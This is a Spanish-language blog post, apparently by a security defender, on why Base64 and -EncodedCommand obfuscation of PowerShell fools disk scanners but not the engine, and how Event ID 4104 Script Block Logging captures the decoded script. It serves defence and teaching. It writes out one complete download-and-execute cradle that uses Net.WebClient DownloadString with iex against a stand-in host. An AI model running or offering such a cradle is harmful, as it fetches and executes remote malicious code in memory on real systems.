🎵 Crush My Soul — Godflesh
de Selfless
Un atacante que sabe lo que hace no deja su script tirado en el disco en texto legible. Lo codifica en Base64, lo parte en pedazos que se concatenan en tiempo de ejecución, lo envuelve en capas de -EncodedCommand hasta que lo que queda escrito no se parece a nada: una tira de caracteres que ningún antivirus va a reconocer como malicioso porque, tal como está, no lo es —es ruido—. Toda la ofuscación del mundo apunta a un solo lector: el disco, y las herramientas que escanean el disco. El problema del atacante es que el disco no es quien ejecuta el código.
La ofuscación es para el disco, no para el motor.
Hay una confusión cómoda en la palabra “ofuscar”, y es creer que esconde el código de todos. No. Esconde el código de los que miran los bytes en reposo: el escaneo estático, el antivirus por firma, el triage que pasa un binario por reglas y busca patrones conocidos. Contra esos, el Base64 y las capas de codificación funcionan de maravilla, porque esas herramientas leen lo que está guardado, y lo guardado es basura ilegible a propósito. Pero un script no sirve de nada guardado. Tiene que correr. Y para correr tiene que llegar, en algún momento, hasta el intérprete —el motor de PowerShell— que es el único que de verdad hace algo con él. El motor no sabe ejecutar Base64. Nadie sabe. El Base64 hay que decodificarlo a texto plano primero, y recién entonces el intérprete lo entiende. Ese paso no es opcional: es física del sistema. Entre “lo que está escondido en el disco” y “lo que se ejecuta” hay un instante obligatorio en que el código está desnudo.
Alguien tiene que ejecutar el texto plano.
Ese instante tiene un testigo, y se llama Event ID 4104. El Script Block Logging de PowerShell registra el bloque de código completo tal como el motor lo va a ejecutar —después de decodificar, después de desofuscar, después de todas las capas—, porque lo registra en el punto en que se lo entrega al AMSI, la interfaz que Windows usa para mostrarle a los antivirus el script ya limpio. El atacante puso todo su ingenio en que el disco no leyera nada; el motor, para hacer su trabajo, tuvo que deshacer ese ingenio, y al deshacerlo dejó el texto plano anotado en un log. El cradle clásico —powershell.exe -ep bypass -nop -noexit -c iex ((New-Object Net.WebClient).DownloadString("http://soctest.xyz/malware.ps1")), esa línea que descarga un script remoto y lo inyecta en memoria sin tocar el disco— se ve entero en el 4104, incluido el contenido de malware.ps1 que en teoría “nunca tocó” la máquina. La variante ofuscada, la del -enc con la tira de Base64 interminable, se ve también: el flag es lo único estático que sobrevive a la codificación, pero el cuerpo aparece decodificado en el evento. Es un log que se desofusca solo, porque quien lo escribe es el propio motor en el momento de rendirse a la necesidad de entender el código.
Lo que te delata no es lo que escondes.
Esta es la parte que me interesa, porque es una estructura que aparece en todos lados una vez que la ves. Lo que te delata no es el secreto que guardas: es el momento en que tienes que dejar de guardarlo para usarlo. Un implante puede cifrar su tráfico, pero tiene que hablar seguido, y el ritmo lo entrega. Un dato robado puede salir escondido, pero tiene que salir, y el volumen lo entrega. Un script puede ofuscarse hasta lo ilegible, pero tiene que ejecutarse, y ejecutarse es volverse legible ante el único que importa. La evasión funciona en el reposo y falla en el uso, porque usar una cosa es, por definición, dejar de esconderla de quien la va a usar. No hay forma de ejecutar código secreto: en el instante de ejecución deja de ser secreto, al menos para la máquina que lo ejecuta. Y si esa máquina lleva un diario —el 4104— el secreto queda escrito.
Por qué el escaneo de disco llega ciego a esta cita.
Una herramienta de triage estático de archivos, como la que uso, tiene acá un punto ciego honesto que vale nombrar en voz alta. Un triage que parsea binarios y scripts en disco puede marcar el -enc, puede señalar que hay una tira de Base64 sospechosa, puede levantar la ceja ante DownloadString. Lo que no puede es ver el resultado de la ejecución, porque no ejecuta nada —y hace bien en no ejecutar nada, para eso están los sandboxes—. El binario ofuscado, mirado en reposo, es opaco por diseño, y esa opacidad es su punto: derrota al que lee sin correr. El 4104 vive del otro lado de esa línea, en el terreno de lo que efectivamente se ejecutó, y por eso los dos son complementarios y no rivales. El disco te dice qué llegó; el log operativo te dice qué de eso corrió, y con qué cara. Una defensa que solo mira el disco está mirando el guion antes de que el actor lo interprete, y el malware moderno guarda sus mejores líneas para la función en vivo, en memoria, sin dejar copia. La ejecución fileless no es magia: es exactamente esto, código que evita el disco justo para esquivar a quien solo mira el disco. Contra eso, el registro del motor no es un lujo. Es el único asiento desde el que se ve el escenario.
Habilitar el 4104 cuesta una política de grupo y algo de volumen de logs, y no lo tiene habilitado ni la mitad de las organizaciones que deberían —lo cual es un poco como instalar cámaras y dejarlas desconectadas para ahorrar en el disco de grabación—. Pero el punto conceptual sobrevive a la configuración: la ofuscación compra silencio en reposo y lo paga en ejecución. El atacante elige dónde esconderse, no elige no aparecer. Aparece en el momento de actuar, porque actuar es aparecer. Lo demás es cuestión de tener a alguien —o algo— anotando cuando lo hace.
commit 3v3nt4104
Date: 2026-09-16 09:00 PM
fix: obfuscation buys silence at rest, pays it back at exec